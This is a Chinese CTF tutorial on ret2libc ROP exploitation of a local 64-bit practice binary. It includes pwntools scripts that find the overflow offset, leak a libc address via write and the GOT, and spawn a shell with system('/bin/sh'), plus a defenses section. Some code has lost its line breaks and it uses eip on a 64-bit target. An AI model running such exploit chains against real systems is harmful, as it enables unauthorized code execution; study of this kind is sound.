1. 项目概述
在CTF竞赛的Pwn类题目中,ROP(Return-Oriented Programming)技术是最基础也是最核心的攻防手段之一。不同于常规的shellcode注入,ROP通过复用程序中已有的代码片段(gadgets)来构造攻击链,在内存防护机制日益完善的今天,这种技术显得尤为重要。
这次要分享的是一个典型的无后门程序利用案例。题目本身没有提供system函数或/bin/sh字符串,也没有预留任何明显的后门函数。这种情况下,我们需要通过ROP技术,利用程序自身的代码片段来构造完整的攻击链,最终实现获取shell的目标。
2. 核心需求解析
2.1 题目环境分析
首先我们需要明确目标程序的基本情况:
- 64位ELF可执行文件
- 开启了NX保护(栈不可执行)
- 没有ASLR(地址空间随机化)
- 存在明显的栈溢出漏洞
- 程序中不存在system函数和/bin/sh字符串
2.2 攻击思路设计
在这种限制条件下,我们需要分步骤实现攻击:
- 通过栈溢出控制程序执行流
- 构造ROP链调用write函数泄露libc地址
- 根据泄露的地址计算system函数和/bin/sh字符串的实际地址
- 构造第二次ROP链调用system("/bin/sh")
3. 关键技术与实现细节
3.1 栈溢出漏洞利用
首先需要确定溢出点的位置。通过cyclic模式字符串可以快速定位到返回地址的偏移量:
from pwn import * p = process('./vuln') payload = cyclic(200) p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.eip) print(f"Offset: {offset}")3.2 ROP链构造基础
ROP的核心思想是利用程序中现有的代码片段(称为gadget),通过精心编排这些片段的执行顺序来实现攻击目标。每个gadget通常以ret指令结尾,这样我们可以通过控制栈上的内容来串联多个gadget。
常用的gadget查找工具:
ROPgadget --binary vuln ropper -f vuln3.3 泄露libc地址
在没有直接调用system函数的情况下,我们需要先泄露libc中的某个函数地址,然后根据偏移计算出system和/bin/sh的位置。典型的做法是调用write函数输出GOT表中的某个函数地址:
from pwn import * elf = context.binary = ELF('./vuln') rop = ROP(elf) # 构造第一次ROP链 rop.raw(b'A'*offset) # 填充到返回地址 rop.call('write', [1, elf.got['write'], 8]) rop.call('main') # 返回到main函数准备第二次攻击 p = process('./vuln') p.sendline(rop.chain()) write_addr = u64(p.recv(8))3.4 计算关键函数地址
获取write函数的实际地址后,我们可以计算出libc基址和其他关键函数的地址:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = write_addr - libc.symbols['write'] system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh'))3.5 完整ROP链构造
最后构造完整的ROP链调用system("/bin/sh"):
rop = ROP(elf) rop.raw(b'A'*offset) rop.call(system_addr, [binsh_addr]) p.sendline(rop.chain()) p.interactive()4. 实战技巧与注意事项
4.1 Gadget选择技巧
- 优先选择以ret结尾的短gadget,减少副作用
- 注意寄存器的污染情况,特别是调用约定相关的寄存器
- 对于参数传递,x86_64下前六个参数使用rdi, rsi, rdx, rcx, r8, r9寄存器
4.2 常见问题排查
段错误(Segmentation Fault):
- 检查栈对齐情况(x86_64要求16字节对齐)
- 确认gadget地址是否正确
- 检查参数传递是否符合调用约定
无法获取shell:
- 确认system和/bin/sh地址计算正确
- 检查是否有坏字符影响payload
- 确认栈空间是否足够
4.3 高级技巧
使用one_gadget工具寻找可直接获取shell的gadget:
one_gadget /lib/x86_64-linux-gnu/libc.so.6当存在栈迁移时,可以使用leave; ret等gadget控制栈指针
对于较短的溢出空间,可以分阶段多次利用漏洞
5. 防御措施与对抗思路
了解攻击技术的同时,也需要知道如何防御:
- 开启ASLR(地址空间随机化)
- 使用Stack Canary检测栈溢出
- 减少程序中的有用gadget数量
- 使用ROP防护技术如CFI(控制流完整性)
6. 工具与资源推荐
常用工具:
- pwntools:功能强大的漏洞利用框架
- ROPgadget/ropper:gadget查找工具
- one_gadget:查找可直接获取shell的gadget
- checksec:检查程序保护机制
学习资源:
- 《漏洞利用的艺术》
- ROP Emporium挑战系列
- CTF Wiki相关章节
在实际CTF比赛中,ROP技术的应用远不止这些基础用法。随着题目保护机制的加强,往往需要结合堆利用、格式化字符串等其他技术,甚至需要构造非常复杂的ROP链才能实现攻击目标。掌握这些基础后,可以进一步学习更高级的利用技术。